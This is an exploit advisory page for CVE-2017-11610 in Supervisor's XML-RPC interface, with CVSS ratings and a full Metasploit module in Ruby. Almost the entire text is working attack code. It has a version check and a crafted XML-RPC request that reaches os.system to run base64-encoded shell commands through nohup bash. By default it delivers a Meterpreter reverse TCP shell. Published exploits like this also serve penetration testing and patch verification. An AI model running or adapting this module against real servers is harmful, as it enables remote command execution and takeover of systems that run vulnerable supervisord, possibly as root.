Supervisor XML-RPC Authenticated Remote Code Execution

2017.09.25
Credit: Calum
Risk: High
Local: No
Remote: Yes
CWE: CWE-284


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability in the Supervisor process control software, where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Calum Hutton <c.e.hutton@gmx.com>' ], 'References' => [ ['URL', 'https://github.com/Supervisor/supervisor/issues/964'], ['URL', 'https://www.debian.org/security/2017/dsa-3942'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'], ['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'], ['CVE', '2017-11610'] ], 'Platform' => 'linux', 'Targets' => [ ['3.0a1-3.3.2', {}] ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'RPORT' => 9001, 'Payload' => 'linux/x64/meterpreter/reverse_tcp', }, 'Privileged' => false, 'DisclosureDate' => 'Jul 19 2017', 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(9001), OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']), ] ) end def check_version(version) if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1') return true else return false end end def check print_status('Extracting version from web interface..') params = { 'method' => 'GET', 'uri' => normalize_uri('/') } if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) end res = send_request_cgi(params) if res if res.code == 200 match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/) if match version = Gem::Version.new(match[1]) if check_version(version) print_good("Vulnerable version found: #{version}") return Exploit::CheckCode::Appears else print_bad("Version #{version} is not vulnerable") return Exploit::CheckCode::Safe end else print_bad('Could not extract version number from web interface') return Exploit::CheckCode::Unknown end elsif res.code == 401 print_bad("Authentication failed: #{res.code} response") return Exploit::CheckCode::Safe else print_bad("Unexpected HTTP code: #{res.code} response") return Exploit::CheckCode::Unknown end else print_bad('Error connecting to web interface') return Exploit::CheckCode::Unknown end end def execute_command(cmd, opts = {}) # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server # Credit to the following urls for the os.system() payload # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610 # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html xml_payload = %{<?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string> </param> </params> </methodCall>} # Send the XML-RPC payload via POST to the specified endpoint endpoint_path = target_uri.path print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}") params = { 'method' => 'POST', 'uri' => normalize_uri(endpoint_path), 'ctype' => 'text/xml', 'headers' => {'Accept' => 'text/xml'}, 'data' => xml_payload, 'encode_params' => false } if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) end return send_request_cgi(params, timeout=5) end def exploit res = execute_cmdstager(:linemax => 800) if res if res.code == 401 fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response") elsif res.code == 404 fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response") else fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response") end else print_good('Request returned without status code, usually indicates success. Passing to handler..') handler end end end


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